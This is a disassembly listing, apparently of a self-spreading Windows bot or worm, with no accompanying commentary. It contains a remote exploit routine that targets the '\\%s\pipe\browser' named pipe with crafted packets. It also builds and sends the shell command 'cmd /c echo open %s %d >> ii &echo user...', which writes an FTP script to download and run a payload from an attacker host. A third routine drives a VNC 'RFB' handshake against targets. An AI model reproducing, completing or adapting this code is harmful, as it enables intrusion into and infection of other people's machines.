		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx

loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al

loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ě
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; č
		db  78h	; x
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0C4h	; Ä
		db 0D4h	; Ô
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; č
		db 0A8h	; ¨
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Ű
		db  85h	; …
		db 0C0h	; Ŕ
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ž
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  4Ch	; L
		db  22h	; "
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; č
		db 0A6h	; Ś
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; č
		db 0A7h	; §
		db 0DBh	; Ű
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db  28h	; (
		db 0D1h	; Ń
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; č
		db  44h	; D
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ž
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 26F0929h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57

loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------

loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_432224
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432210
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jnz	short loc_40DB34

loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26509C3h
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4321B8[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CDC9C
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------

loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_432207+1)

loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_4321AC[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4321B4[esi]
		push	7
		add	eax, edi
		push	offset dword_4321A0
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432040
		push	eax
		call	sub_41C310
		mov	eax, dword_4321B0[esi]
		add	esp, 30h
		cmp	byte_4321B8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CDC94
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4321D0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------

loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4321D0

loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8

loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26509C3h
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77

loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax

loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 26E08B2h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx

loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_40DE4F
		nop
		call	near ptr 267084Ch
		cmp	eax, 3E5h
		jnz	loc_40DA50

loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 2670F16h
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1

loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------

loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]

loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi

loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al

loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ě
		db  81h	; 
		db 0ECh	; ě
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; đ
		db  56h	; V
		db  50h	; P
		db 0E8h	; č
		db 0D6h	; Ö
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; đ
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; č
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; ľ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db 0E8h	; č
		db  6Bh	; k
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ň
		db 0E8h	; č
		db  38h	; 8
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  8Bh	; ‹
		db 0D8h	; Ř
		db  83h	; ƒ
		db 0FBh	; ű
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; đ
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db 0E8h	; č
		db  5Fh	; _
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; ƒ
		db 0F8h	; ř
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ż
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db    8
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db 0B0h	; °
		db 0ACh	; Ź
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; č
		db 0DFh	; ß
		db 0CCh	; Ě
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  58h	; X
		db  22h	; "
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; ţ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; č
		db  38h	; 8
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; ţ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; č
		db  87h	; ‡
		db 0D0h	; Đ
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; ţ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db 0E8h	; č
		db  8Ch	; Œ
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; ƒ
		db 0F8h	; ř
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; Ŕ
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; č
		db 0E7h	; ç
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ă
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 90000007h, 252EE2E8h, 0FB834302h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CACB0
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4

loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------

loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax

loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_431414o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CAFB4
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------

loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_4322CC
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146

loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		nop
		call	near ptr 71AB1A6Dh

loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------

loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431418[eax]
		lea	eax, dword_431418[eax]

loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax

loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi

loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------

loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------

loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax

loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC

loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5

loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax

loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433510
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------

loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CAF74
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx

loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB00C
		jmp	loc_40E46E
; ---------------------------------------------------------------------------

loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467

loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CAE2C
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch

loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
